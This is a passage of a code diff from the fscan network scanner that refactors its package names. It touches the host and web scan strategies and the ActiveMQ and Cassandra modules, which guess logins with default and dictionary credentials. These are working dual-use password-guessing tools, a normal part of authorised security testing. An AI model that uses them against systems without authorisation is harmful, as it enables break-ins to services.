fmt.Print("\033[2K\r")
Common.ProgressBar.Add(1)
}
}
// 入口函数,向后兼容旧的调用方式 // 入口函数,向后兼容旧的调用方式
func Scan(info Common.HostInfo) { func Scan(info common.HostInfo) {
scanner := NewScanner(info) scanner := NewScanner(info)
scanner.Scan(info) scanner.Scan(info)
} }

View File

@ -1,8 +1,10 @@
package Core package core
import ( import (
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/common/parsers"
"strings" "strings"
"sync" "sync"
) )
@ -26,27 +28,27 @@ func (s *ServiceScanStrategy) Description() string {
} }
// Execute 执行服务扫描策略 // Execute 执行服务扫描策略
func (s *ServiceScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { func (s *ServiceScanStrategy) Execute(info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
// 验证扫描目标 // 验证扫描目标
if info.Host == "" { if info.Host == "" {
Common.LogError("未指定扫描目标") common.LogError("未指定扫描目标")
return return
} }
// 验证插件配置 // 验证插件配置
if err := validateScanPlugins(); err != nil { if err := validateScanPlugins(); err != nil {
Common.LogError(err.Error()) common.LogError(err.Error())
return return
} }
// 解析目标主机 // 解析目标主机
hosts, err := Common.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts) hosts, err := parsers.ParseIP(info.Host, common.HostsFile, common.ExcludeHosts)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("解析主机错误: %v", err)) common.LogError(fmt.Sprintf("解析主机错误: %v", err))
return return
} }
Common.LogBase("开始主机扫描") common.LogBase(i18n.GetText("scan_host_start"))
// 输出插件信息 // 输出插件信息
s.LogPluginInfo() s.LogPluginInfo()
@ -56,15 +58,15 @@ func (s *ServiceScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, w
} }
// performHostScan 执行主机扫描的完整流程 // performHostScan 执行主机扫描的完整流程
func (s *ServiceScanStrategy) performHostScan(hosts []string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { func (s *ServiceScanStrategy) performHostScan(hosts []string, info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
var targetInfos []Common.HostInfo var targetInfos []common.HostInfo
// 主机存活性检测和端口扫描 // 主机存活性检测和端口扫描
if len(hosts) > 0 || len(Common.HostPort) > 0 { if len(hosts) > 0 || len(common.HostPort) > 0 {
// 主机存活检测 // 主机存活检测
if s.shouldPerformLivenessCheck(hosts) { if s.shouldPerformLivenessCheck(hosts) {
hosts = CheckLive(hosts, Common.UsePing) hosts = CheckLive(hosts, common.UsePing)
Common.LogBase(fmt.Sprintf("存活主机数量: %d", len(hosts))) common.LogBase(fmt.Sprintf("存活主机数量: %d", len(hosts)))
} }
// 端口扫描 // 端口扫描
@ -76,14 +78,14 @@ func (s *ServiceScanStrategy) performHostScan(hosts []string, info Common.HostIn
// 执行漏洞扫描 // 执行漏洞扫描
if len(targetInfos) > 0 { if len(targetInfos) > 0 {
Common.LogBase("开始漏洞扫描") common.LogBase("开始漏洞扫描")
ExecuteScanTasks(targetInfos, s, ch, wg) ExecuteScanTasks(targetInfos, s, ch, wg)
} }
} }
// shouldPerformLivenessCheck 判断是否需要执行存活性检测 // shouldPerformLivenessCheck 判断是否需要执行存活性检测
func (s *ServiceScanStrategy) shouldPerformLivenessCheck(hosts []string) bool { func (s *ServiceScanStrategy) shouldPerformLivenessCheck(hosts []string) bool {
return Common.DisablePing == false && len(hosts) > 1 return common.DisablePing == false && len(hosts) > 1
} }
// discoverAlivePorts 发现存活的端口 // discoverAlivePorts 发现存活的端口
@ -92,37 +94,37 @@ func (s *ServiceScanStrategy) discoverAlivePorts(hosts []string) []string {
// 根据扫描模式选择端口扫描方式 // 根据扫描模式选择端口扫描方式
if len(hosts) > 0 { if len(hosts) > 0 {
alivePorts = EnhancedPortScan(hosts, Common.Ports, Common.Timeout) alivePorts = EnhancedPortScan(hosts, common.Ports, common.Timeout)
Common.LogBase(fmt.Sprintf("存活端口数量: %d", len(alivePorts))) common.LogBase(i18n.GetText("scan_alive_ports_count", len(alivePorts)))
} }
// 合并额外指定的端口 // 合并额外指定的端口
if len(Common.HostPort) > 0 { if len(common.HostPort) > 0 {
alivePorts = append(alivePorts, Common.HostPort...) alivePorts = append(alivePorts, common.HostPort...)
alivePorts = Common.RemoveDuplicate(alivePorts) alivePorts = common.RemoveDuplicate(alivePorts)
Common.HostPort = nil common.HostPort = nil
Common.LogBase(fmt.Sprintf("存活端口数量: %d", len(alivePorts))) common.LogBase(i18n.GetText("scan_alive_ports_count", len(alivePorts)))
} }
return alivePorts return alivePorts
} }
// PrepareTargets 准备目标信息 // PrepareTargets 准备目标信息
func (s *ServiceScanStrategy) PrepareTargets(info Common.HostInfo) []Common.HostInfo { func (s *ServiceScanStrategy) PrepareTargets(info common.HostInfo) []common.HostInfo {
// 解析目标主机 // 解析目标主机
hosts, err := Common.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts) hosts, err := parsers.ParseIP(info.Host, common.HostsFile, common.ExcludeHosts)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("解析主机错误: %v", err)) common.LogError(fmt.Sprintf("解析主机错误: %v", err))
return nil return nil
} }
var targetInfos []Common.HostInfo var targetInfos []common.HostInfo
// 主机存活性检测和端口扫描 // 主机存活性检测和端口扫描
if len(hosts) > 0 || len(Common.HostPort) > 0 { if len(hosts) > 0 || len(common.HostPort) > 0 {
// 主机存活检测 // 主机存活检测
if s.shouldPerformLivenessCheck(hosts) { if s.shouldPerformLivenessCheck(hosts) {
hosts = CheckLive(hosts, Common.UsePing) hosts = CheckLive(hosts, common.UsePing)
} }
// 端口扫描 // 端口扫描
@ -136,13 +138,13 @@ func (s *ServiceScanStrategy) PrepareTargets(info Common.HostInfo) []Common.Host
} }
// convertToTargetInfos 将端口列表转换为目标信息 // convertToTargetInfos 将端口列表转换为目标信息
func (s *ServiceScanStrategy) convertToTargetInfos(ports []string, baseInfo Common.HostInfo) []Common.HostInfo { func (s *ServiceScanStrategy) convertToTargetInfos(ports []string, baseInfo common.HostInfo) []common.HostInfo {
var infos []Common.HostInfo var infos []common.HostInfo
for _, targetIP := range ports { for _, targetIP := range ports {
hostParts := strings.Split(targetIP, ":") hostParts := strings.Split(targetIP, ":")
if len(hostParts) != 2 { if len(hostParts) != 2 {
Common.LogError(fmt.Sprintf("无效的目标地址格式: %s", targetIP)) common.LogError(fmt.Sprintf("无效的目标地址格式: %s", targetIP))
continue continue
} }
@ -158,12 +160,12 @@ func (s *ServiceScanStrategy) convertToTargetInfos(ports []string, baseInfo Comm
// GetPlugins 获取服务扫描插件列表 // GetPlugins 获取服务扫描插件列表
func (s *ServiceScanStrategy) GetPlugins() ([]string, bool) { func (s *ServiceScanStrategy) GetPlugins() ([]string, bool) {
// 如果指定了插件列表且不是"all" // 如果指定了插件列表且不是"all"
if Common.ScanMode != "" && Common.ScanMode != "all" { if common.ScanMode != "" && common.ScanMode != "all" {
plugins := parsePluginList(Common.ScanMode) plugins := parsePluginList(common.ScanMode)
if len(plugins) > 0 { if len(plugins) > 0 {
return plugins, true return plugins, true
} }
return []string{Common.ScanMode}, true return []string{common.ScanMode}, true
} }
// 未指定或使用"all"获取所有插件由IsPluginApplicable做类型过滤 // 未指定或使用"all"获取所有插件由IsPluginApplicable做类型过滤
@ -176,35 +178,35 @@ func (s *ServiceScanStrategy) LogPluginInfo() {
// 如果是自定义模式,直接显示用户指定的插件 // 如果是自定义模式,直接显示用户指定的插件
if isCustomMode { if isCustomMode {
Common.LogBase(fmt.Sprintf("使用指定插件: %s", strings.Join(allPlugins, ", "))) common.LogBase(fmt.Sprintf("使用指定插件: %s", strings.Join(allPlugins, ", ")))
return return
} }
// 在自动模式下,过滤掉本地插件,只显示服务类型插件 // 在自动模式下,过滤掉本地插件,只显示服务类型插件
var applicablePlugins []string var applicablePlugins []string
for _, pluginName := range allPlugins { for _, pluginName := range allPlugins {
plugin, exists := Common.PluginManager[pluginName] plugin, exists := common.PluginManager[pluginName]
if exists && !plugin.HasType(Common.PluginTypeLocal) { if exists && !plugin.HasType(common.PluginTypeLocal) {
applicablePlugins = append(applicablePlugins, pluginName) applicablePlugins = append(applicablePlugins, pluginName)
} }
} }
if len(applicablePlugins) > 0 { if len(applicablePlugins) > 0 {
Common.LogBase(fmt.Sprintf("使用服务插件: %s", strings.Join(applicablePlugins, ", "))) common.LogBase(fmt.Sprintf("使用服务插件: %s", strings.Join(applicablePlugins, ", ")))
} else { } else {
Common.LogBase("未找到可用的服务插件") common.LogBase(i18n.GetText("scan_no_service_plugins"))
} }
} }
// IsPluginApplicable 判断插件是否适用于服务扫描 // IsPluginApplicable 判断插件是否适用于服务扫描
func (s *ServiceScanStrategy) IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool { func (s *ServiceScanStrategy) IsPluginApplicable(plugin common.ScanPlugin, targetPort int, isCustomMode bool) bool {
// 自定义模式下运行所有明确指定的插件 // 自定义模式下运行所有明确指定的插件
if isCustomMode { if isCustomMode {
return true return true
} }
// 非自定义模式下,排除本地插件 // 非自定义模式下,排除本地插件
if plugin.HasType(Common.PluginTypeLocal) { if plugin.HasType(common.PluginTypeLocal) {
return false return false
} }
@ -214,5 +216,5 @@ func (s *ServiceScanStrategy) IsPluginApplicable(plugin Common.ScanPlugin, targe
} }
// 无端口限制的插件或适用于服务扫描的插件 // 无端口限制的插件或适用于服务扫描的插件
return len(plugin.Ports) == 0 || plugin.HasType(Common.PluginTypeService) return len(plugin.Ports) == 0 || plugin.HasType(common.PluginTypeService)
} }

View File

@ -1,8 +1,8 @@
package Core package core
import ( import (
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"strings" "strings"
"sync" "sync"
) )
@ -26,12 +26,12 @@ func (s *WebScanStrategy) Description() string {
} }
// Execute 执行Web扫描策略 // Execute 执行Web扫描策略
func (s *WebScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { func (s *WebScanStrategy) Execute(info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
Common.LogBase("开始Web扫描") common.LogBase("开始Web扫描")
// 验证插件配置 // 验证插件配置
if err := validateScanPlugins(); err != nil { if err := validateScanPlugins(); err != nil {
Common.LogError(err.Error()) common.LogError(err.Error())
return return
} }
@ -46,10 +46,10 @@ func (s *WebScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, wg *s
} }
// PrepareTargets 准备URL目标列表 // PrepareTargets 准备URL目标列表
func (s *WebScanStrategy) PrepareTargets(baseInfo Common.HostInfo) []Common.HostInfo { func (s *WebScanStrategy) PrepareTargets(baseInfo common.HostInfo) []common.HostInfo {
var targetInfos []Common.HostInfo var targetInfos []common.HostInfo
for _, url := range Common.URLs { for _, url := range common.URLs {
urlInfo := baseInfo urlInfo := baseInfo
// 确保URL包含协议头 // 确保URL包含协议头
if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") { if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") {
@ -65,16 +65,16 @@ func (s *WebScanStrategy) PrepareTargets(baseInfo Common.HostInfo) []Common.Host
// GetPlugins 获取Web扫描插件列表 // GetPlugins 获取Web扫描插件列表
func (s *WebScanStrategy) GetPlugins() ([]string, bool) { func (s *WebScanStrategy) GetPlugins() ([]string, bool) {
// 如果指定了自定义插件并且不是"all" // 如果指定了自定义插件并且不是"all"
if Common.ScanMode != "" && Common.ScanMode != "all" { if common.ScanMode != "" && common.ScanMode != "all" {
requestedPlugins := parsePluginList(Common.ScanMode) requestedPlugins := parsePluginList(common.ScanMode)
if len(requestedPlugins) == 0 { if len(requestedPlugins) == 0 {
requestedPlugins = []string{Common.ScanMode} requestedPlugins = []string{common.ScanMode}
} }
// 验证插件是否存在不做Web类型过滤 // 验证插件是否存在不做Web类型过滤
var validPlugins []string var validPlugins []string
for _, name := range requestedPlugins { for _, name := range requestedPlugins {
if _, exists := Common.PluginManager[name]; exists { if _, exists := common.PluginManager[name]; exists {
validPlugins = append(validPlugins, name) validPlugins = append(validPlugins, name)
} }
} }
@ -94,32 +94,32 @@ func (s *WebScanStrategy) LogPluginInfo() {
// 如果是自定义模式,直接显示用户指定的插件 // 如果是自定义模式,直接显示用户指定的插件
if isCustomMode { if isCustomMode {
Common.LogBase(fmt.Sprintf("Web扫描模式: 使用指定插件: %s", strings.Join(allPlugins, ", "))) common.LogBase(fmt.Sprintf("Web扫描模式: 使用指定插件: %s", strings.Join(allPlugins, ", ")))
return return
} }
// 在自动模式下只显示Web类型的插件 // 在自动模式下只显示Web类型的插件
var applicablePlugins []string var applicablePlugins []string
for _, pluginName := range allPlugins { for _, pluginName := range allPlugins {
plugin, exists := Common.PluginManager[pluginName] plugin, exists := common.PluginManager[pluginName]
if exists && plugin.HasType(Common.PluginTypeWeb) { if exists && plugin.HasType(common.PluginTypeWeb) {
applicablePlugins = append(applicablePlugins, pluginName) applicablePlugins = append(applicablePlugins, pluginName)
} }
} }
if len(applicablePlugins) > 0 { if len(applicablePlugins) > 0 {
Common.LogBase(fmt.Sprintf("Web扫描模式: 使用Web插件: %s", strings.Join(applicablePlugins, ", "))) common.LogBase(fmt.Sprintf("Web扫描模式: 使用Web插件: %s", strings.Join(applicablePlugins, ", ")))
} else { } else {
Common.LogBase("Web扫描模式: 未找到可用的Web插件") common.LogBase("Web扫描模式: 未找到可用的Web插件")
} }
} }
// IsPluginApplicable 判断插件是否适用于Web扫描 // IsPluginApplicable 判断插件是否适用于Web扫描
func (s *WebScanStrategy) IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool { func (s *WebScanStrategy) IsPluginApplicable(plugin common.ScanPlugin, targetPort int, isCustomMode bool) bool {
// 自定义模式下运行所有明确指定的插件 // 自定义模式下运行所有明确指定的插件
if isCustomMode { if isCustomMode {
return true return true
} }
// 非自定义模式下只运行Web类型插件 // 非自定义模式下只运行Web类型插件
return plugin.HasType(Common.PluginTypeWeb) return plugin.HasType(common.PluginTypeWeb)
} }

View File

@ -7,7 +7,8 @@ import (
"sync" "sync"
"time" "time"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
) )
// ActiveMQCredential 表示一个ActiveMQ凭据 // ActiveMQCredential 表示一个ActiveMQ凭据
@ -23,23 +24,23 @@ type ActiveMQScanResult struct {
Credential ActiveMQCredential Credential ActiveMQCredential
} }
func ActiveMQScan(info *Common.HostInfo) (tmperr error) { func ActiveMQScan(info *common.HostInfo) (tmperr error) {
if Common.DisableBrute { if common.DisableBrute {
return return
} }
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文 // 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel() defer cancel()
// 先尝试默认账户 // 先尝试默认账户
Common.LogDebug("尝试默认账户 admin:admin") common.LogDebug("尝试默认账户 admin:admin")
defaultCredential := ActiveMQCredential{Username: "admin", Password: "admin"} defaultCredential := ActiveMQCredential{Username: "admin", Password: "admin"}
defaultResult := tryActiveCredential(ctx, info, defaultCredential, Common.Timeout, Common.MaxRetries) defaultResult := tryActiveCredential(ctx, info, defaultCredential, common.Timeout, common.MaxRetries)
if defaultResult.Success { if defaultResult.Success {
saveActiveMQSuccess(info, target, defaultResult.Credential) saveActiveMQSuccess(info, target, defaultResult.Credential)
@ -47,12 +48,12 @@ func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
} }
// 生成所有凭据组合 // 生成所有凭据组合
credentials := generateActiveMQCredentials(Common.Userdict["activemq"], Common.Passwords) credentials := generateActiveMQCredentials(common.Userdict["activemq"], common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["activemq"]), len(Common.Passwords), len(credentials))) len(common.Userdict["activemq"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描 // 使用工作池并发扫描
result := concurrentActiveMQScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries) result := concurrentActiveMQScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil { if result != nil {
// 记录成功结果 // 记录成功结果
saveActiveMQSuccess(info, target, result.Credential) saveActiveMQSuccess(info, target, result.Credential)
@ -62,10 +63,10 @@ func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
// 检查是否因为全局超时而退出 // 检查是否因为全局超时而退出
select { select {
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("ActiveMQ扫描全局超时") common.LogDebug("ActiveMQ扫描全局超时")
return fmt.Errorf("全局超时") return fmt.Errorf("全局超时")
default: default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了默认凭据 common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了默认凭据
return nil return nil
} }
} }
@ -86,9 +87,9 @@ func generateActiveMQCredentials(users, passwords []string) []ActiveMQCredential
} }
// concurrentActiveMQScan 并发扫描ActiveMQ服务 // concurrentActiveMQScan 并发扫描ActiveMQ服务
func concurrentActiveMQScan(ctx context.Context, info *Common.HostInfo, credentials []ActiveMQCredential, timeoutSeconds int64, maxRetries int) *ActiveMQScanResult { func concurrentActiveMQScan(ctx context.Context, info *common.HostInfo, credentials []ActiveMQCredential, timeoutSeconds int64, maxRetries int) *ActiveMQScanResult {
// 使用ModuleThreadNum控制并发数 // 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 { if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值 maxConcurrent = 10 // 默认值
} }
@ -134,7 +135,7 @@ func concurrentActiveMQScan(ctx context.Context, info *Common.HostInfo, credenti
case <-scanCtx.Done(): case <-scanCtx.Done():
break break
default: default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred workChan <- cred
} }
} }
@ -155,14 +156,14 @@ func concurrentActiveMQScan(ctx context.Context, info *Common.HostInfo, credenti
} }
return nil return nil
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("ActiveMQ并发扫描全局超时") common.LogDebug("ActiveMQ并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作 scanCancel() // 确保取消所有未完成工作
return nil return nil
} }
} }
// tryActiveCredential 尝试单个ActiveMQ凭据 // tryActiveCredential 尝试单个ActiveMQ凭据
func tryActiveCredential(ctx context.Context, info *Common.HostInfo, credential ActiveMQCredential, timeoutSeconds int64, maxRetries int) *ActiveMQScanResult { func tryActiveCredential(ctx context.Context, info *common.HostInfo, credential ActiveMQCredential, timeoutSeconds int64, maxRetries int) *ActiveMQScanResult {
var lastErr error var lastErr error
for retry := 0; retry < maxRetries; retry++ { for retry := 0; retry < maxRetries; retry++ {
@ -175,7 +176,7 @@ func tryActiveCredential(ctx context.Context, info *Common.HostInfo, credential
} }
default: default:
if retry > 0 { if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待 time.Sleep(500 * time.Millisecond) // 重试前等待
} }
@ -194,7 +195,7 @@ func tryActiveCredential(ctx context.Context, info *Common.HostInfo, credential
lastErr = err lastErr = err
if err != nil { if err != nil {
// 检查是否需要重试 // 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil { if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误 break // 不需要重试的错误
} }
} }
@ -209,11 +210,11 @@ func tryActiveCredential(ctx context.Context, info *Common.HostInfo, credential
} }
// ActiveMQConn 尝试ActiveMQ连接 // ActiveMQConn 尝试ActiveMQ连接
func ActiveMQConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) { func ActiveMQConn(ctx context.Context, info *common.HostInfo, user string, pass string) (bool, error) {
addr := fmt.Sprintf("%s:%v", info.Host, info.Ports) addr := fmt.Sprintf("%s:%v", info.Host, info.Ports)
// 使用上下文创建带超时的连接 // 使用上下文创建带超时的连接
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, time.Duration(Common.Timeout)*time.Second) conn, err := common.WrapperTcpWithTimeout("tcp", addr, time.Duration(common.Timeout)*time.Second)
if err != nil { if err != nil {
return false, err return false, err
} }
@ -231,7 +232,7 @@ func ActiveMQConn(ctx context.Context, info *Common.HostInfo, user string, pass
stompConnect := fmt.Sprintf("CONNECT\naccept-version:1.0,1.1,1.2\nhost:/\nlogin:%s\npasscode:%s\n\n\x00", user, pass) stompConnect := fmt.Sprintf("CONNECT\naccept-version:1.0,1.1,1.2\nhost:/\nlogin:%s\npasscode:%s\n\n\x00", user, pass)
// 发送认证请求 // 发送认证请求
conn.SetWriteDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)) conn.SetWriteDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if _, err := conn.Write([]byte(stompConnect)); err != nil { if _, err := conn.Write([]byte(stompConnect)); err != nil {
select { select {
case <-ctx.Done(): case <-ctx.Done():
@ -244,7 +245,7 @@ func ActiveMQConn(ctx context.Context, info *Common.HostInfo, user string, pass
} }
// 读取响应 // 读取响应
conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)) conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
respBuf := make([]byte, 1024) respBuf := make([]byte, 1024)
n, err := conn.Read(respBuf) n, err := conn.Read(respBuf)
if err != nil { if err != nil {
@ -294,15 +295,15 @@ func ActiveMQConn(ctx context.Context, info *Common.HostInfo, user string, pass
} }
// saveActiveMQSuccess 记录并保存ActiveMQ成功结果 // saveActiveMQSuccess 记录并保存ActiveMQ成功结果
func saveActiveMQSuccess(info *Common.HostInfo, target string, credential ActiveMQCredential) { func saveActiveMQSuccess(info *common.HostInfo, target string, credential ActiveMQCredential) {
successMsg := fmt.Sprintf("ActiveMQ服务 %s 成功爆破 用户名: %v 密码: %v", successMsg := fmt.Sprintf("ActiveMQ服务 %s 成功爆破 用户名: %v 密码: %v",
target, credential.Username, credential.Password) target, credential.Username, credential.Password)
Common.LogSuccess(successMsg) common.LogSuccess(successMsg)
// 保存结果 // 保存结果
result := &Common.ScanResult{ result := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "vulnerable", Status: "vulnerable",
Details: map[string]interface{}{ Details: map[string]interface{}{
@ -313,5 +314,5 @@ func saveActiveMQSuccess(info *Common.HostInfo, target string, credential Active
"type": "weak-password", "type": "weak-password",
}, },
} }
Common.SaveResult(result) common.SaveResult(result)
} }

View File

@ -10,7 +10,8 @@ import (
"time" "time"
"github.com/gocql/gocql" "github.com/gocql/gocql"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
) )
// CassandraProxyDialer 实现gocql.Dialer接口支持代理连接 // CassandraProxyDialer 实现gocql.Dialer接口支持代理连接
@ -23,7 +24,7 @@ func (d *CassandraProxyDialer) DialContext(ctx context.Context, network, addr st
if err != nil { if err != nil {
return nil, err return nil, err
} }
return Common.WrapperTcpWithContext(ctx, network, fmt.Sprintf("%s:%s", host, port)) return common.WrapperTcpWithContext(ctx, network, fmt.Sprintf("%s:%s", host, port))
} }
// CassandraCredential 表示一个Cassandra凭据 // CassandraCredential 表示一个Cassandra凭据
@ -40,23 +41,23 @@ type CassandraScanResult struct {
Credential CassandraCredential Credential CassandraCredential
} }
func CassandraScan(info *Common.HostInfo) (tmperr error) { func CassandraScan(info *common.HostInfo) (tmperr error) {
if Common.DisableBrute { if common.DisableBrute {
return return
} }
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文 // 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel() defer cancel()
// 先尝试无认证访问 // 先尝试无认证访问
Common.LogDebug("尝试无认证访问...") common.LogDebug("尝试无认证访问...")
anonymousCredential := CassandraCredential{Username: "", Password: ""} anonymousCredential := CassandraCredential{Username: "", Password: ""}
anonymousResult := tryCassandraCredential(ctx, info, anonymousCredential, Common.Timeout, Common.MaxRetries) anonymousResult := tryCassandraCredential(ctx, info, anonymousCredential, common.Timeout, common.MaxRetries)
if anonymousResult.Success { if anonymousResult.Success {
saveCassandraSuccess(info, target, anonymousResult.Credential, true) saveCassandraSuccess(info, target, anonymousResult.Credential, true)
@ -64,12 +65,12 @@ func CassandraScan(info *Common.HostInfo) (tmperr error) {
} }
// 生成所有凭据组合 // 生成所有凭据组合
credentials := generateCassandraCredentials(Common.Userdict["cassandra"], Common.Passwords) credentials := generateCassandraCredentials(common.Userdict["cassandra"], common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["cassandra"]), len(Common.Passwords), len(credentials))) len(common.Userdict["cassandra"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描 // 使用工作池并发扫描
result := concurrentCassandraScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries) result := concurrentCassandraScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil { if result != nil {
// 记录成功结果 // 记录成功结果
saveCassandraSuccess(info, target, result.Credential, false) saveCassandraSuccess(info, target, result.Credential, false)
@ -79,10 +80,10 @@ func CassandraScan(info *Common.HostInfo) (tmperr error) {
// 检查是否因为全局超时而退出 // 检查是否因为全局超时而退出
select { select {
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("Cassandra扫描全局超时") common.LogDebug("Cassandra扫描全局超时")
return fmt.Errorf("全局超时") return fmt.Errorf("全局超时")
default: default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问 common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
return nil return nil
} }
} }
@ -103,9 +104,9 @@ func generateCassandraCredentials(users, passwords []string) []CassandraCredenti
} }
// concurrentCassandraScan 并发扫描Cassandra服务 // concurrentCassandraScan 并发扫描Cassandra服务
func concurrentCassandraScan(ctx context.Context, info *Common.HostInfo, credentials []CassandraCredential, timeoutSeconds int64, maxRetries int) *CassandraScanResult { func concurrentCassandraScan(ctx context.Context, info *common.HostInfo, credentials []CassandraCredential, timeoutSeconds int64, maxRetries int) *CassandraScanResult {
// 使用ModuleThreadNum控制并发数 // 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 { if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值 maxConcurrent = 10 // 默认值
} }
@ -151,7 +152,7 @@ func concurrentCassandraScan(ctx context.Context, info *Common.HostInfo, credent
case <-scanCtx.Done(): case <-scanCtx.Done():
break break
default: default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred workChan <- cred
} }
} }
@ -172,14 +173,14 @@ func concurrentCassandraScan(ctx context.Context, info *Common.HostInfo, credent
} }
return nil return nil
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("Cassandra并发扫描全局超时") common.LogDebug("Cassandra并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作 scanCancel() // 确保取消所有未完成工作
return nil return nil
} }
} }
// tryCassandraCredential 尝试单个Cassandra凭据 // tryCassandraCredential 尝试单个Cassandra凭据
func tryCassandraCredential(ctx context.Context, info *Common.HostInfo, credential CassandraCredential, timeoutSeconds int64, maxRetries int) *CassandraScanResult { func tryCassandraCredential(ctx context.Context, info *common.HostInfo, credential CassandraCredential, timeoutSeconds int64, maxRetries int) *CassandraScanResult {
var lastErr error var lastErr error
for retry := 0; retry < maxRetries; retry++ { for retry := 0; retry < maxRetries; retry++ {
@ -192,7 +193,7 @@ func tryCassandraCredential(ctx context.Context, info *Common.HostInfo, credenti
} }
default: default:
if retry > 0 { if retry > 0 {
